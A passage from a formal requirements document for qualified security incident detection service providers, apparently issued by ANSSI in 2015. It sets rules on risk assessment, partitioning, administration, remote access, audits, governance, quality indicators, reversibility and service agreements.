and the treatment plan must be formally approved in writing by the management of the service provider. b) The risk assessment must include a list of feared incidents within the scope of the security incident detection service. This list must include, at a minimum : - intrusion attempts on the detection service’s information system from one of its interconnections (see section 0IV.3.9 ); - rebound attempts between commissioning entities’ information systems via the detection service’s information system; - privilege escalation attempts by security incident detection service operators or administrators. - the loss of communication with one or more of the detection service’s items of equipment. c) The service provider must review the risk assessment and the associated risk tr eatment plan at a minimum once a year and in the event of any structural changes to the detection service, particularly those concerning its hosting, infrastructure or architecture. d) The service provider must make the risk treatment plan available to the co mmissioning entity upon request. The service provider must indicate to the commissioning entity the safety conditions related to the transmission and storage of the risk treatment plan. e) The service provider must develop and implement an information system s security policy based on the risk assessment. f) It is recommended that the service provider be certified [ISO27001] for the entirety of the scope of the security incident detection service. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 19/42 IV.3.2. Levels of sensitivi ty or classification a) The service provider must implement a dedicated security incident detection information system by level of sensitivity or classification. b) The service provider must, at a minimum , comply with the rules established by ANSSI relating to protective measures for information systems treating sensitive unclassified defence information at the Restricted Distribution (Diffusion Restreinte) level [IGI_1300] [II_901] , particularly for information identified as sensitive in the risk assessment (see requirement IV.3.1 .a). c) The detection service’s information system must be approved at a minimum at the level of Restricted Distribution (Diffusion Restreinte ) for supervising the commissioning entity’s information systems that are not classified . d) The detection service’s information system must be approved at a minimum at the same classification level as the commissioning entity’s supervised information systems that are classified. e) It is recommended that the service provider use the process described in the [HOMOLOGATION] guide for approval of the security incident detection service’s information system. IV.3.3. Territoriality of the service a) The service provider must host and handle the data related to the security incident detection service exclusively on the national territory of France . In the event that some collection sources are located outside of the national territory of France , the event s originating from these sources will be transmitted to a collector located on the national territory of France . b) The service provider must operate the security incident detection service exclusively on the national territory of France . IV.3.4. Audit a) The service pr ovider must develop a n audit plan designed to verify the correct implementation of the information security and protection mechanisms for which it is responsible. This audit plan must include, at a minimum : - the review of logical and physical access contro ls implemented to protect the devices of the detection service; - the review of privileges and access rights to the security incident detection service. This review must include the review of administrator and operator accounts at a minimum once a month. b) The service provider must review the audit plan at a minimum once a year and in the case of any structural changes to the detection service, particularly those concerning its hosting, infrastructure or architecture. c) The service provider must include the list of feared security incidents (see requirement IV.3.1 .b) in the audit plan in order to test these scenarios. d) The audit plan must be comprised of the organisational audits, the physical audits, the c onfiguration audits, the architecture audits and the penetration tests. e) The service provider must use approved information security audit service providers (PASSI) to perform the audits . The appointed PASSI service providers and the service provider must b e legally independent from each other . f) The service provider must protect the results of the audits to, at a minimum , the same level of sensitivity or classification as the audited information system. g) The service provider must update the risk treatment pla n (see requirement IV.3.1 .a) in order to integrate the results of the audits . Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 20/42 h) The service provider must communicate the results of the audits to its management team. The results of the audits must be formally approved in writing by the service provider’s management team. IV.3.5. Physical security a) The service provider must develop and keep up to date the list of persons authorised to access the premises hosting the security inc ident detection service. b) The service provider must implement mechanisms enabling it to ensure that only authorised persons can access the premises hosting the security incident detection service. c) The service provider must implement mechanisms enabling it t o log the access es to the premises hosting the security incident detection service. d) The service provider must define and implement controls enabling it to ensure the confidentiality and integrity of the access logs for the premises hosting the detection se rvice using solutions approved by ANSSI [CRYPTO _B1] , [CRYPTO _B3] at the appropriate level and used in accordance with their technical instructions for use. IV.3.6. Internal security incident detection service a) The service provider must implement, for its own account, a security incident detection service, hereinafter referred to as the “internal security incident detection service”, dealing with the information system o f the security incident detection service. b) The service provider must comply with the requirements of section IV.3 for the internal security incident detection service, except for the requirements of IV.3.2 .a) and IV.3.6 .a). c) The service provider must, on the basis of the risk assessment (see requirement IV.3.1 .a) and the associated list of feared security incidents (see requirement IV.3.1 .b), develop a collection strategy, an analysis strategy and a reporting strategy as part of the internal detection service. d) The service provider must deploy one or more probes on the security incident detection service’s information system. These probes must , in particular, make it possible to monitor each of the interconnections of the security incident detection service’s information system. These probes must be collection sources for the internal security incident detection service. e) The probes deployed by the service provider as part of the internal security incident detection service must be approved by ANSSI at the appropriate level and used in accordance with their technical instructions for use. These probes must receive network traffic input feeds via TAP ( Test Access Port ) type equipment that is entirely passive and cannot be man aged remotely. f) The service provider must develop a process for managing internal security incidents. This process must include a report to the commissioning entities upon the occurrence of a security incident on the security incident detection service. The report must specify the nature of the security incident and the measures taken by the service provider to respond to it. g) It is recommended that the service provider put in place a crisis management process in the case of the detection of a major security incident within its detection service. h) It is recommended that the service provider use s tools enabling it to conduct static or dynamic analysis of suspicious files. i) If the analysis tools used by the service provider rely on resources hosted on the Internet , the service provider must perform these operations outside of the security incident detection service’s information system and after obtaining the commissioning entity’s formal written consent. j) It is recommended that the service provider use an approved security incident response service provider (PRIS) to perform the analysis of the suspicious files. In this case, the security incident detection service provider must ensure that the scope of the approval of the security incident response service provide r includes the analysis of malicious code. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 21/42 IV.3.7. Partitioning of the service’s information system a) The service provider must dedicate the security incident detection service’s information system to the qualified services or services which are compliant , at a mini mum , with the requirements of section IV.3 - Information protection . All other services must be performed on an information system that is physically partitioned from the service’s information system. b) The service provider must apply ANSSI’s guide to information technology hygiene [HYGIENE] to the security incident detection service’s information system. c) The service provider must partition the s ecurity incident detection service’s information system into multiple trust zones into which all of the devices involved in the detection service are divided: - a collection zone, comprising all devices involved in the event management activity, including the collectors and the event storage systems; - an analysis zone, comprising all of the devices involved in the incident management activity, including the technical analysis tools and tools for management of the service provider’s internal security incident t ickets; - a reporting zone, comprising all the devices involved in the reporting management activity, including the Web portal and the messaging system; - one or more administrative zones, comprising all of the administrative tools and adm inistrat ors' workstat ions; - an operations zone , comprising the operators’ workstations; - an Internet zone, comprising the workstations that are permitted to access the Internet and that are fully isolated from the other trust zones identified above (see section IV.3.8 ). d) The service provider must put in place measures to ensure the partitioning between the different trust zones, in particular by using mechanisms for filtering, authentication and access control. e) The service provider must develop and kee p up to date the reference flow matrix for the security incident detection system, together with the associated filtering policy, authorising only those flows that are strictly necessary for the operation of the security incident detection service. f) The se rvice provider must implement IP encryption and authentication solutions between these trust zones as soon as the information exchanged between these zones passes through transport networks that are not dedicated to the detection service. These IP encrypti on and authentication solutions must be approved by ANSSI at the appropriate level and used in accordance with their technical instructions for use. g) The service provider must develop and keep up to date a detailed description of the architecture of the security incident detection service’s information system. This description must identify all of the information system’s devices and the trust zones of the detection service. h) The service provider must partition between the commissioning entities: - the storage and event handling systems; - the security incident storage and handling systems, the technical analysis tools and the security incident ticket management tools; - the reports, the Web portal and the messaging system. This partitioning must be achieved through logical access control mechanisms at a minimum , and implemented in accordance with the specific operational requirements (rights, privileges, authentication, etc.). Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 22/42 IV.3.8. Administration and operation of the service a) The administrators must manage the security in cident detection service’s devices through dedicated administrative workstations, hosted in the administration zone4 and separate d from the operator workstations. b) The administration of the security incident detection service’s devices must be possible only from the administration zone via the network interfaces of the devices dedicated to administration. c) The service provider must log each access to the security incid ent detection service’s devices and the actions performed. d) The service provider must put in place a centralised administration directory that is dedicated to the authentication of administrators. This directory must be deployed in the administration zone. e) The service provider must put i n place a centralised operation directory that is dedicated t o the detection service that enables, in particular, the authentication on all of the detection service’s devices and the opening of sessions on operator workstations. f) The service provider must put in place measures to ensure that administrators manage the security incident detection service’s devices using administrative accounts dedicated to these tasks and accessible only to admi nistrators. g) The administrators must not have administrative rights on their administration workstations. h) The service provider m ust implement controls to ensure that the administrators and operators can access only those resources that are relevant to their tasks (see Annex 2 ). i) The service provider must apply controls depriving operators of administrati ve rights on the detection service’s devices, including on their own workstations. j) The workstations of administrators and operators must be connected exclusively to the security incident detection information system. In the event of a need to access the In ternet or other information systems (the service provider’s internal information system, for example), administrators and operators must have a separate workstation that is distinct from their normal workstation and that is not connected to the security incident detection service’s information system. k) The service provider must put in place an exchange zone for transferring files from outside of the information system as part of the administration or operation of the detection service. This exchange zone mus t be distinct and independent between administrators and operators. The service provider must meet the requirements for the exchange zone set out in the “Exchange system” (“Système d’échange”) section of the [NT_ADMIN] technical note. l) All exchanges related to the detection service from administration or operations workstations must be performed using encryption and authentication protocols that comply with ANSSI requirements [CRYPTO _B1] ,[CRYPTO _B3] . 4It is recommended that the ANSSI technical note r egarding the secure administration of information systems [NT_ADMIN] be followed. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 23/42 IV.3.9. Interconnections with the service’s information system a) The only authorised interconnections with the security incident detection service are those with: - the commissioning entity’s information sy stem:  for the collection of events,  for the administration of collection devices5,  for the operation of collection devices6,  for reporting security incidents. - the remote administration and operation workstations (see IV.3.10 ) via specific gateways; - the update servers for downloading updates of security incident detection service devices via a relay station (see IV.3.11 ); - the exchange zone for the transfer of files from the Internet. b) The service prov ider must filter flows at all interconnections with the security incident detection service’s information system using filtering solutions approved by ANSSI at the appropriate level and used in accordance with their technical instructions for use . c) The interconnections with the security incident detection service, particularly those using a transport network other than that of the security incident detection service must be encrypted us ing IPsec encryption and authentication solutions approved by ANSSI at the appropriate level and used in accordance with their technical instructions for use. d) The equipment used for the encryption and authentication of interconnections must be dedicated to the qualified security incident detection service. e) The service provider must protect the confidentiality, integrity and authenticity of all information exchanged between the security incident detection service’s information system and the commissioning en tity’s information system using solutions approved by ANSSI [CRYPTO _B1] , [CRYPTO _B3] at the appropriate level and used in accordance with their technical inst ructions for use. IV.3.10. Remote access a) In the case of remote access to the security incident detection service, the service provider must put in place an administration gateway and an operations gateway.7 b) The remote workstations used must be dedicated to the approved services and to any service that is compliant with the requirements of section IV.3 - Information protection . c) The administration flow between remote administration workstations and the detection service’s information system must transit via a dedicated administration gateway. d) The operation flow between remote operations workstations and the detection service’s information system must transit via a dedicated operations gateway. 5Only if the commissioning entity authorises the service provider to manage one or more devices hosted in this zone (see requirement IV.3.14 .k). 6Only if the commissioning entity authorises the service provider to operate one or more devices hosted in this zone (see requirement IV.3.14 .k). 7In compliance with the technical note [NT_ADMIN] . Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 24/42 e) The administration g ateway and the operations gateway must be separate d. In the event that part of the administration or operation is subcontracted, provision must be made for physical gateways that are separate d from the administration and operations gateways. f) The flow s betw een remote workstations and gateways must be encrypted using IPsec encryption and authentication solutions approved by ANSSI at the appropriate level and used in accordance with their technical instructions for use. g) The administrators and operators must au thenticate with a minimum of two factors. h) It is recommended that, for remote access, the service provider implement an authentication process based on digital certificates issued by electronic certificate service providers approved by ANSSI at a RGS *** level and therefore involving the use of cryptographic media approv ed by ANSSI at an enhanced level. i) Remote workstations must be hardened, configured so that they are able to communicate exclusively with the dedicated remote access gateway, permit only the u se of removable media that is authorised by the information systems security policy, and have their entire disks encrypted with an encryption solution approved by ANSSI at the appropriate level. j) The service provider must configure the filtering solutions ( see requirement IV.3.7 .d) so that they only allow flows initiated from the remote workstations. IV.3.11. Relay station for updating the service’s devices a) The service provider can implement an internal relay station connected to a dedicated Internet gateway to enable the downloading of updates of the security incident detection service’s devices. b) The service provider must conduct a manual, offline update of the security incident detection service’s devices th at cannot be updated via a relay station. The following requirements apply when a relay station has been put in place. c) The service provider must implement a whitelist filter to ensure that the relay station will only download official updates for the secur ity incident detection service’s devices from the vendor ’s official update sources. d) It is recommended that the service provider ensure the authenticity and integrity of downloaded updates from authorised update sources. e) The service provider must configure the filtering solutions (see requirement IV.3.7 .d) so that they only allow flows initiated from the relay station to the Internet. IV.3.12. Web portal and reporting tools a) The service provider must put in pla ce a directory dedicated to the authentication of the commissioning entity on the Web portal. The service provider must authenticate the commissioning entity using a minimum of two factors in order to access the Web portal. The service provider must mainta in a list of persons who are authorised to access the Web portal, together with their associated privileges. b) It is recommended that the service provider implement an authentication process for the Web portal based on digital certificates issued by electron ic certificate service providers approved by ANSSI at a RGS *** level and therefore involving the use of cryptographic median approved by ANSSI at an enhanced level. c) The service provider must implement a Web application firewall to filter queries to the Web portal. d) The service provider must implement security controls on the messaging systems used for reporting management (attachment filtering, virus scanning, restrictions on the size of attachments, etc.). Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 25/42 IV.3.13. Backups a) The service provider must develop and i mplement a backup and restoration plan for the security incident detection service’s devices. The backup plan must include several distinct components, including at a minimum the following components: - system backups; - configuration backups; - data backups. b) The service provider must test the backup and restoration plan once a year at a minimum . c) The service provider must define and implement controls to ensure the confidentiality and integrity of the backups performed. The backup device must be dedicated and loc ated in an administration zone that provides for the partitioning of the backup activities, in compliance with the backup plan. d) It is recommended that the service provider compl ies with all of the controls and recommendations regarding securing backups of [ISO27002] . IV.3.14. Security of the enclave within the commissioning entity’s information system a) The entire security incident detection service’s devices deployed in the commissioning entity (in particular, the colle ctors) must be positioned within one or more enclaves8 within the commissioning entity’s internal information system. b) The enclave must host only those devices that make it possible to ensure the provision of the security incident detection service. c) The en clave must follow the rules established in the ANSSI information technology hygiene guide [HYGIENE] . d) It is recommended that the requirements of section IV.3.2 covering the protection of information within the service provider’s security incident detection service be applied to this enclave. e) The partitioning of the enclave must be performed by: - a filtering device between the enclave and the commissioning entity’s internal information system; - a filtering device between the enclave and the service provider’s security incident detection service. f) The filtering device between the enclave and the commissioning entity’s internal information system must block all flows except those initiated f rom the commissioning entity’s internal information system to this zone and enabling the collection sources hosted on the commissioning entity’s internal information system to transmit the events to this zone. g) The collection sources must be the only device s authorised to send information to the collectors, and such collectors must be configured exclusively in listening mode. No flow may be initiated from the collectors to the collection sources. h) It is recommended that an intermediate collector be implemente d under the responsibility of the commissioning entity when the collection sources cannot transmit the events directly to the collectors in the collection zone. i) The service provider must not under any circumstances have rights on the filtering device betwe en this enclave and the commissioning entity’s internal information system (see requirement IV.3.14 .e). 8 For the sake of simplicity, for the remainder of this document it is assumed that there is only one enclave. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 26/42 j) The filtering device between this enclave and the information system of the service provider’s security incident detection service must block all flows except: - those initiated from this enclave to the information system of the service provider’s security incident detection service and that only enable the transmission of the events from this enclav e to the information system of the service provider’s security incident detection service. The service provider must limit as much as possible the number of flows that permit the events of this enclave to be transmitted to the security incident detection s ervice’s information system; - those enabling the service provider to manage from the administration zone, the devices hosted in that zone (see requirement IV.3.7 .c)9; - those permittin g the service provider to operate from the operation zone (see requirement IV.3.7 .c), the devices hosted in that zone.10 k) The service provider must define in the service agreement , together with the commissioning entity, the responsibilities applicable to the administration and operation of the devices hosted in this enclave, including: - the security incident detection devices (sensors, collectors, etc.); - the filtering devices11 that ens ure the partitioning of this enclave (see requirement IV.3.14 .e); - the devices that make it possible to protect the confidentiality and authenticity of the information exchanged between the enclave and the security incident detection service’s information system. l) The service provider must be able to fully ensure the performance of its security incident detection service without having rights on the devices hosted within this enclave. m) It is nevertheless recommended that the service provider have the responsibility for the administration and operation of security incident detection devices hosted within this enclave and that the commissioning entity have the responsibility for the other devices (see requirement IV.3.14 .k). n) The service provider must apply the recommendations set out in the ANSSI technical note on the implementation of a logging system [NT_JOURNAL] when the devices are deployed in the enclave under its responsibility12. IV.4. Organisation of the service provider and governance IV.4.1. Code of ethics and recruitment a) The service provider must verify the training, qualif ications, and employment references of candidates for the detection service and the truthfulness of their curriculum vitae prior to hiring them. b) The service provider must require applicants to provide proof that they do not have a criminal record (“bulleti n n° 3 du casier judiciaire”) . 9 Only if the commissioning entity has authorised the service provider to m anage one or more devices hosted in this enclave (see requirement IV.3.14 .k). 10 Only if the commissioning entity has authorised the service provider to operate one or more devices hosted in this enclave (see requirement IV.3.14 .k). 11 With the exception of the filtering device that ensures the partitioning between this enclave and the commissioning entity’s internal information system (see requ irement IV.3.14 .e) 12 The responsibilities for this zone are defined in the service agreement in compliance with requirement IV.5.3.3 .a) Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 27/42 c) The operators, administrators and specialists in the detection service must have a contractual relationship with the service provider or one of its subcontractors in the event the service provider subcontracts part of its act ivities. d) The service provider must have a code of ethics incorporated into its internal regulations, stipulating, in particular, that: - the services are performed with loyalty, discretion and impartiality; - employees use only those methods, tools and techni ques that have been approved by the service provider; - employees undertake to not disclose information to a third party , even if anonymised and decontextualized , which has been obtained or generated as part of the service, without the commissioning entity’s formal written authorisation; - employees undertake to alert the service provider to all clearly illegal content discovered during the provision of the service; - employees undertake to comply with the national legislation and regulations in force and with best practices related to their activities. e) The service provider must ensure that all of its employees sign the code of ethics referred to in the previous requirement prior to performing the service. f) The service provider must ensure the compliance with the c ode of ethics and makes provision for disciplinary sanctions for operators, administrators and experts of the detection service who have breached the security rules or the code of ethics. g) The service provider must develop and implement a plan for raising t he awareness of its employees with respect to information system security and the security measures associated with it, as well as to the national legislation and regulations in force relating to the security incident detection service. IV.4.2. Organisation and ma nagement of competencies a) The service provider must have a team that: - ensures the performance of, at a minimum , the tasks described in Annex 2 ; - has the skills associated with these tasks. b) The service provider must employ a suf ficient number of employees and may use subcontracting (see section IV.5.3.7 entitled “ Subcontracting ”) to ensure that the service provided is a qualified service in all respects. c) The service provider must develop and implement a training plan designed for the use of the detection service team and which is adapted to its tasks. d) The service provider must develop and make available to employees guides about the operation and administration of the security incident detection service’s devices. e) It is recommended that the service provider put in place an on -call system enabling it to mobilise a part of its team outside working hours. f) The service provider must have within its service a watch centre for cyber -attack or must subscribe to such a service. g) It is recommended that the watch centre for cyber -attack be referenced by the French national CERT. h) The service provider must provide the commissioning entity with a remote support service that allows in particul ar: - the commissioning entity to declare a suspected or confirmed security incident to the service provider; Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 28/42 - the service provider to help the commissioning entity to resolve production problems related to the devices managed by the service provider; - the ser vice provider to assist and advise the commissioning entity. i) The service provider must make the support service accessible via a telephone number or email address. j) The service provider must implement mechanisms enabling it to exchange information with the commissioning entity at a minimum at the Restricted Distribution (Diffusion Restreinte) level via the support service. k) The service provider must appoint a person to serve as an operational point of contact for the commissioning entity. This person is the m ain contact point with respect to the operational functioning of the security incident detection service and the monitoring of detected security incidents. The service provider must inform the commissioning entity of any change to the person serving as the operational point of contact for the security incident detection service. l) It is recommended that the commissioning entity appoint a person to serve as an operational point of contact for the security incident detection service. m) The persons serving as oper ational points of contacts must participate in the operational and strategic committee meetings defined in section IV.4.3 . IV.4.3. Operational and strategic committees IV.4.3.1. Operational committee a) The service provider must put in place and ch air an operational committee meeting , in the presence of the commissioning entity, once per quarter at a minimum. b) It is recommended that the service provider hold an operational committee meeting once a month. c) The operational committee must discuss, at a minimum , the following topics: - an overall assessment of the security incident detection service:  a review of the operational indicators (see section IV.5.1 );  a review of the detected security incidents;  a review of the collect ion, analysis and reporting strategies;  a review of the list of detection rules (see requirement IV.2.1 .h);  a review of the detection rule status updates (see requirement IV.2.1 .i). - the scope of the security incident detection service:  a review of the commissioning entity’s context;  a review of changes affecting the commissioning entity’s information system;  a presentation of the evolution of any projects impacting the scope of the service;  a review of the list of feared security incidents. - possible improvements to the security incident detection service:  a review of the quality indicators (see section IV.5.1 );  an a nalysis of the operational evolutions in the security incident detection service (evolution of tools, modifications of operational processes, etc.);  a presentation of the detection rules that have been created, modified or withdrawn;  a presentation of the detection rules that have not been triggered for a period of one year. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 29/42 d) The service provider must write a report after each operational committee meeting and send it to the commissioning entity for approval. This report must contain at a minimum the list of the participants, the decisions taken at the committee meeting and the associated action plan. IV.4.3.2. Strategy committee a) The service provider must put in place and chair a strategy committee meeting , in the presence of representatives from the service provider’s senior management team, at a minimum once a year. b) It is recommended that the service provider hold a strategic committee meeting twice a year. c) The strategy committee must address at a minimum the following topics: - a review of the strategic indicators (se e section IV.5.1 ); - a review of the service agreement; - a review of the reversibility plan; - a summary presentation of the effectiveness of the detection service; - a review and predictions of threats. d) The service provider must write a report after each strategy committee meeting and send it to the commissioning entity for approval. This report must contain at a minimum the list of the participants and the decisions taken at the committee meeting. IV.5. Quality and level of service IV.5.1. Quality of service a) It is recommended that the service provider be [ISO9 001] certified in respect of the scope of the security incident detection service. b) The service provider must develop and implement a knowledge capitalisation process for th e detected security incidents in order to continually improve the effectiveness of its detection service. c) The service provider must define, with the commissioning entity, the operational and strategic indicators for the security incident detection service. d) It is recommended that the service provider use the indicators proposed in [ETSI_ISG_ISI] . e) The service provider must put in place, at a minimum , the following operational activity indicators: - incident management:  the number of incidents detected per month;  the number of confirmed incidents following a qualification per month;  the number of detection rules implemented in the technical analysis tools;  the number of detection rules created, modified or wi thdrawn per month, by origin (monitoring activity, requested by the commissioning entity, etc.);  the availability rate of the technical analysis tools;  the number of detection rules triggered per month;  the fill rate of the incident storage systems;  the re maining capacity of the incident storage systems;  the list of detection rules that have never been triggered. - event management: Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 30/42  the number of collection sources;  the number of collectors;  the number of events collected per day / per month;  the number of ev ents collected by collector per day / per month;  the number of events sent to the technical analysis tools per day / per month;  the fill rate of each of the event storage systems, including the collectors in the enclave if they are under the responsibility of the service provider;  the remaining capacity of each of the event storage systems, including the collectors in the enclave if they are under the responsibility of the service provider. - reporting management:  the availability rate of the Web portal ;  the availability rate of the messaging server;  the number of reports sent to the commissioning entity per month, by level of severity of the security incident;  the number of security incident tickets opened per month;  the number of security incident tickets cl osed per month;  the minimum / average / maximum time between creating and closing a ticket;  the number of accounts authorised to access the Web portal;  the number of Web portal access accounts created per month;  the number of Web portal access accounts del eted per month;  the number of successful Web portal authentications per month;  the number of failed Web portal authentications per month. f) The service provider must put in place, at a minimum , the following operational effectiveness indicators: - incident man agement:  the maximum time taken to qualify an incident;  the average time taken to qualify a security incident according to its level of severity;  the average time taken to update the detection rules following a request by the commissioning entity;  the aver age time taken to search for a single incident;  the number of incident qualification errors;  the incident qualification error rate;  the number of events not recognised and therefore not taken into account by the technical analysis tools;  the rate of events not recognised and therefore not taken into account by the technical analysis tools. - event management:  the minimum / average / maximum time between the generation of an event by the collection source and its storage in the event storage systems; Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 31/42  the minim um / average / maximum time between the generation of an event by the collection source and it being sent to the technical analysis tools;  the minimum / average / maximum time taken to process the search for an event in the event storage systems;  the avail ability rate of each event management device, including the collectors in the enclave if they are under the responsibility of the service provider. - reporting management:  the minimum / average / maximum time between the detection and the reporting of a security incident, by level of severity;  the number of erroneous reports (false positives, etc.). g) The service provider must put in place, at a minimum , the following strategic indicators: - the consolidation of the operational indicators; - the availability rate o f the detection service; - the availability rate of the detection service’s technical devices; - the number of confirmed incidents found on the service provider’s information system per month within the scope of the commissioning entity’s detection service; - the rate of compliance with the level of quality required by commissioning entity. h) The service provider must establish and keep up to date a process for measuring the indicators which describes, for each of the described operational and strategic indicators, the methods and means used by the service provider to measure the indicator. IV.5.2. Reversibility a) The service provider must develop, with the commissioning entity, a reversibility plan for the security incident detection service enabling the restoration of servi ce by the commissioning entity or another service provider. b) The reversibility plan must contain, at a minimum , the following elements: - a comprehensive inventory of the information and material to be restored; - the duration of the reversibility; - the people i nvolved and the actions that each of them is required to perform; - the formats of the information to be restored; - the means of restoration. The service provider must be able, if the commissioning entity so requests, to restore the stored security events, to gether with the specific detection rules, to the commissioning entity of the service. c) The duration of the reversibility must be at a minimum of three months. d) It is recommended that the duration of the reversibility be six months. e) The service provider mu st maintain the security incident detection service in operational condition during the implementation of the reversibility plan. f) The service provider must destroy all information relating to the commissioning entity at the end of the execution of the reve rsibility plan, with the exception of information that the commissioning entity has authorised it to retain (see requirement IV.5.3.4 .a). Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 32/42 IV.5.3. Service agreement IV.5.3.1. Terms of delivery of the service a) The servi ce agreement must: - describe the scope and objective s of the service to be provided, the security incident detection service, including in particular the event, incident, and reporting management activities; - describe the technical and organisational measure s implemented by the service provider as part of the performance of the service; - define the deliverables expected as part of the performance of the service, the intended recipients, and their level of sensitivity or classification, together with the associ ated modalities; - describe the methods of communication between the service provider and the commissioning entity that will be used in providing the service; - define the rules of ownership of the elements protected by intellectual property, such as the deliv erables, the tools and the detection rules specifically developed by the service provider as part of the provision of the service; - describe the process of registering and handling complaints by the commissioning entity, the victim or third parties, as well as the procedures for filing a complaint; IV.5.3.2. Organisation of the service a) The service agreement must: - stipulate that the service provider appoint a contact person for the commissioning entity, who will be in charge of ensuring the operational monitoring of t he service; - stipulate that the service provider and the commissioning entity specify the names, roles, responsibilities, rights and need to know of the individuals involved in the provision of the service. This clause is particularly important if there is a security incident that must not be made public; - stipulate that the service provider collaborate with third parties mandated by the commissioning entity and specifically appointed by the latter. This clause must, in particular, enable the service provider to work with a security incident response service provider mandated by the commissioning entity in the event of a suspected or confirmed security incident; - stipulate that the service provider does not involve employees who do not have a contractual relati onship with it, did not sign the code of ethics or who have a criminal record; - stipulate whether the service provider allows remote access by administrators or operators to the security incident detection service’s information system. IV.5.3.3. Responsibilities a) The service agreement must: - stipulate that the service provider do not provide the service until receiving formal written approval of the service agreement by the commissioning entity; - stipulate that the service provider inform the commissioning entity in the event of any deficiency in the service agreement; - stipulate that the service provider inform the commissioning entity in the event that a security incident is detected on the security incident detection service’s information system, and the maximum time pe rmitted to transmit the information following an incident; Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 33/42 - stipulate that the service provider perform only those actions that are strictly in line with the objectives of the service; - stipulate that the commissioning entity possess all of the ownership rig hts and access rights required for the scope of the service (information systems, physical media, etc.) or that it has obtained the agreement of any third party, including its service providers or partners, whose information systems are included within the scope of the service; - stipulate that the commissioning entity meet all of the legal requirements necessary for the service and in particular those relating to the collection and analysis of information; - define the responsibilities and the precautions to b e observed by all parties regarding the potential risks related to the service, especially with regard to the confidentiality of the information collected and analysed and the availability and integrity of the commissioning entity’s information system; - stipulate that the service provider have professional liability insurance covering any damage caused to the commissioning entity and in particular to its information system as a result of its service, specifying the coverage of the insurance and including the insurance certificate; - define the responsibilities between the service provider and the commissioning entity with respect to the enclave of the security incident detection service within the commissioning entity’s information system (see section IV.3.14 ). Requirements IV.3.14 .k) to IV.3.14 .m) make it possible to help the service provider and the commissioning entity to define these responsibilities; - stipulate that the service provider have in place a change management procedure for its own information system; - stipulate that the service provider have in place a process for the continuous improvement of the effectiveness of its detection service, based on, in particular, the operational indicators set out in section IV.5.1 . IV.5.3.4. Confidentiality and information protection a) The service agreement must: - identify the level of sensitivity or classification of the security incident detection service implemented by the service provider; - identify the level of sensitivity or classification of the commissioning entity’s information system concerned by the agreement ; - stipulate that the service provider only collect and analyse the information that is strictly required for the smooth operation of the service; - stipulate that the service provider not disclose any in formation relating to the service to third parties without the formal written authorisation of the commissioning entity; - specify the clauses relating to the ethical requirements of the service provider and include the service provider’s code of ethics; - specify the terms of access, storage, transmission, reproduction, destruction and restoration of the information and materials collected and analysed by the service provider. If necessary, the service provider must define the terms, in collaboration with the commissioning entity, in accordance with the types of information or the physical media on which it is stored; - stipulate that the service provider may, except in the case of a formal written refusal by the commissioning entity, retain certain types of info rmation related to the service, and that it specif ies these types of information (e.g. detection rules, malware, attack scenarios, indicators of compromise, etc.); Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 34/42 - stipulate that the service provider anonymise and decontextualize (deleting any information that could be used to identify the commissioning entity, any information of a personal nature, etc.) all of the information that the commissioning entity authorises it to retain; - stipulate that the service provider immediately destroy all information relat ed to the service on the expiry date of the retention period; - stipulate that the service provider destroy all information about the commissioning entity at the end of the service, with the exception of information that the commissioning entity has authoris ed it to retain; - stipulate that the service provider, except in the event of written formal refusal by the commissioning entity, transmit to the French national CERT the anonymised and decontextualized information, together with their level of sensitivity and their conditions of use; - define the frequency with which the service provider shall test the backup and restoration plan of the security incident detection service. IV.5.3.5. Reversibility a) The service agreement must specify the terms of implementing a reversibil ity plan for the service: duration, implementation, any additional costs, etc. (see section IV.5.2 ) IV.5.3.6. Laws and regulations a) The service agreement must: - be written in French. The service provider must provide a courtesy translation of the service agreement if the commissioning entity requests it; - stipulat e that the French version shall prevail, particularly in the context of a legal dispute; - stipulat e that the governing law for the service agreement is French law; - specify the techni cal and organisational measures implemented by the service provider in order to comply with French legislation, in particular those concerning:  personal data [LOI_IL] ;  professional secrecy [CP_ART_226 -13], without prejudice to the application of article 40, paragraph 2 of the Code of Criminal Procedure relating to reportin g to a judicial authority;  breach of trust [CP_ART_314 -1];  confidentiality of private correspondence [CP_ART_226 -15];  medical confidentiality [CSP_ART_L1110 -4];  invasion o f privacy [CP_ART_226 -1];  fraudulent access to or maintenance in an information system [CP_ART_323 -1]; - specify any specific regulatory and legal requirements to which the commi ssioning entity is subject and, in particular, those relating to its sector of activity; - establish the requirements to be met by the service provider in the context of judicial, civil or arbitration proceedings; - defin e the retention period for information related to the service, and in particular for the collected events and the detected security incidents. If necessary, distinctions in retention periods may be made based on the different types of information. The minimum retention period is six months, in accordance with French legislation and regulations. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 35/42 IV.5.3.7. Subcontracting a) The service agreement must specify that the service provider may subcontract all or part of the service to another service provider who is qualified to perform the outsourced activities, pr ovided that: - there is a service agreement between the service provider and the subcontractor; - the use of subcontracting is known to, and has been formally accepted in writing by, the commissioning entity. IV.5.3.8. Deliverables a) The service agreement must specify tha t the deliverables of the service shall be in French, except at the formal written request of the commissioning entity. IV.5.3.9. Approval of the service a) The service agreement must state that: - the service provided is an approved service and must include 